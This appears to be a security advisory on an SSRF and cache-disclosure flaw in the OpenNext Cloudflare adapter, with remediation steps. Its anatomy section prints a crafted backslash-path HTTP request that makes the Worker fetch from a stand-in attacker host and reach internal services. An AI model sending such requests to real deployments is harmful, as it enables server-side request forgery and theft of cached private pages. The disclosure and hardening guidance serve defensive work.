Executive Lead: Edge Path Normalization Flaws Expose Cloud Workloads

Cloudflare and the open-source engineering team behind OpenNext have issued an urgent security disclosure regarding a high-severity Server-Side Request Forgery (SSRF) and information disclosure vulnerability in the @opennextjs/cloudflare adapter. Cataloged internationally as CVE-2026-3125, the vulnerability affects serverless edge deployments running modern Next.js applications on Cloudflare Workers and Cloudflare Pages.

The defect originates in subtle discrepancies between how Cloudflare's global edge proxy and the underlying V8 JavaScript runtime normalize URL path separators. By replacing standard forward slashes with backslashes in request paths targeting Cloudflare internal routes (such as /cdn-cgi\image/), unauthenticated remote adversaries can bypass edge request filters that normally prevent development endpoints from executing in production.

Once bypassed, the request reaches the serverless Worker process, which interprets the URL parameters and performs unvalidated server-side fetches of arbitrary remote targets. Beyond standard SSRF implications, the flaw allows adversaries to circumvent Same-Origin Policy protections, poison serverless CDN cache keys, and directly exfiltrate internal incremental cache objects stored under /cdn-cgi/_next_cache.

Anatomy of the Bypass: The Backslash Normalization Discrepancy

The flaw is classified under CWE-918 (Server-Side Request Forgery) and CWE-20 (Improper Input Validation). Modern edge architectures rely on multi-tier request routing, where edge proxies intercept specific path prefixes before requests reach customer Workers.

Specifically, paths beginning with /cdn-cgi/ are reserved by Cloudflare for edge infrastructure services (such as Polish image optimization, Zaraz, and security challenges). In the OpenNext adapter, an internal /cdn-cgi/image/ handler was provided for local development emulation. In production, Cloudflare's edge proxy is intended to intercept all /cdn-cgi/ requests, guaranteeing that the Worker's internal handler is never reachable from the public internet.

However, an attacker crafts an HTTP request substituting a backslash (\) for the second forward slash:

GET /cdn-cgi\image/url=https://attacker-c2.threat-actor.org/exploit.js HTTP/1.1
Host: target-application.com
User-Agent: Mozilla/5.0 (Security-Audit)

The resulting security breakdown occurs across two distinct execution phases:

  1. Edge Routing Mismatch: Cloudflare's perimeter proxy evaluates the incoming URI as a literal string. Because the URI does not match the exact prefix /cdn-cgi/, the proxy treats it as regular customer application traffic and routes the request downstream to the customer's Next.js Worker.
  2. V8 Runtime Normalization: Inside the Worker, the JavaScript URL constructor is invoked: const reqUrl = new URL(request.url);. Under the WHATWG URL specification, the standard URL parser automatically normalizes backslashes in path segments into standard forward slashes. Consequently, reqUrl.pathname transforms into /cdn-cgi/image/..., activating the internal OpenNext development image optimizer.
+-----------------------------------------------------------------------------------------+
|                  CVE-2026-3125 PATH NORMALIZATION SSRF WORKFLOW                         |
+-----------------------------------------------------------------------------------------+
| Attacker Request:                                                                       |
| GET /cdn-cgi\image/url=https://internal-service/secret                                |
|                                       |                                                 |
|                                       v                                                 |
|                     +-----------------------------------+                               |
|                     | Cloudflare Edge Perimeter Proxy   |                               |
|                     | Checks: Does path start with      |                               |
|                     | literal '/cdn-cgi/'?              |                               |
|                     | Match: FALSE! Forward to Worker!  |                               |
|                     +-----------------------------------+                               |
|                                       |                                                 |
|                                       v                                                 |
|                     +-----------------------------------+                               |
|                     | OpenNext Cloudflare Worker (V8)   |                               |
|                     | new URL() normalizes \ -> /     |                               |
|                     | Match: TRUE! (/cdn-cgi/image/...) |                               |
|                     +-----------------------------------+                               |
|                                       |                                                 |
|                     +-----------------+-----------------+                               |
|                     |                                   |                               |
|                     v                                   v                               |
|       [1. Internal Cache Exposure]            [2. Unvalidated Remote Fetch]             |
|       Accesses /cdn-cgi/_next_cache           Performs SSRF to internal VPC or          |
|       Leaking private Next.js HTML            external adversary infrastructure         |
+-----------------------------------------------------------------------------------------+

Exploitation Blast Radius: Cache Poisoning & Metadata Ingress

The consequences of this architecture mismatch extend beyond conventional SSRF telemetry:

  • Same-Origin Policy (SOP) Circumvention: Content fetched via the SSRF is returned directly to the client under the target website's root origin. Attackers can abuse this reflection to host malicious cross-site scripting (XSS) payloads or deceptive phishing assets on trusted corporate domains.
  • Private Cache Key Leakage: In Next.js App Router architectures, Incremental Static Regeneration (ISR) and static page data are cached in Cloudflare KV or R2 buckets under /cdn-cgi/_next_cache. By manipulating the normalized path traversal, adversaries can enumerate and download pre-rendered sensitive user dashboards, internal reports, and administrative metadata.
  • Internal Cloud Ingress: In hybrid architectures where Cloudflare Workers connect to internal enterprise backends via Cloudflare Tunnels (cloudflared) or Magic WAN, the SSRF vector can be leveraged to query internal REST endpoints that lack secondary network segmentation.

Technical Vulnerability & Patch Comparison Matrix

Architecture Metric Vulnerable Configuration (< 1.17.1) Remediated Deployment (1.17.1+)
CVE Identifier CVE-2026-3125 Remediated in @opennextjs/cloudflare 1.17.1
Path Parsing Routine Direct dispatch on normalized WHATWG pathname Strict raw-request prefix validation prior to routing
Edge Proxy Filtering Literal forward-slash prefix check only Edge WAF blocks backslash variations globally
Cache Asset Protection /cdn-cgi/_next_cache reachable via backslash trick Hardened ACLs on KV/R2 asset storage bindings
CVSS v3.1 Score 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) CVSS:3.1 Base Score 0.0 (Remediated)

Engineering Remediation Playbook & Next.js Hardening

Engineering and DevOps teams deploying Next.js applications onto Cloudflare must execute the following remediation checklist:

1. Upgrade @opennextjs/cloudflare Adapter

Update the OpenNext Cloudflare adapter across all project dependencies to version 1.17.1 or higher:

# Check current installed version
npm list @opennextjs/cloudflare

# Upgrade to patched release
npm install @opennextjs/cloudflare@latest

# Rebuild Next.js cloudflare bundle
npx @opennextjs/cloudflare build
npx wrangler deploy

2. Verify Global Platform-Level Edge Mitigations

Cloudflare has deployed automatic edge rules to intercept backslash variations targeting /cdn-cgi. However, organizations running custom reverse proxies (e.g., NGINX or HAProxy) in front of Cloudflare Workers must ensure that backslash normalization is explicitly enforced:

# NGINX reverse proxy configuration hardening:
# Deny any request containing backslashes in the URI
if ($request_uri ~* "[\\]") {
    return 400 "Bad Request: Malformed URI characters detected";
}

3. Restrict Cloudflare Worker Fetch Privileges

Implement defensive network boundaries inside Worker code to prevent outbound fetches to arbitrary remote destinations:

// Defensive egress allowlisting in Next.js middleware:
const ALLOWED_IMAGE_DOMAINS = new Set([
  'images.enterprise.com',
  'cdn.trusted-partner.io'
]);

export function validateFetchTarget(targetUrl) {
  const parsed = new URL(targetUrl);
  if (!ALLOWED_IMAGE_DOMAINS.has(parsed.hostname)) {
    throw new Error(`Egress blocked: unauthorized destination ${parsed.hostname}`);
  }
}

4. Audit Cloudflare KV and Cache Storage Bindings

Verify that access to internal Worker KV namespaces and R2 storage buckets (such as NEXT_CACHE_WORKERS_KV) requires authenticated service-to-service tokens and cannot be directly queried through public route mappings.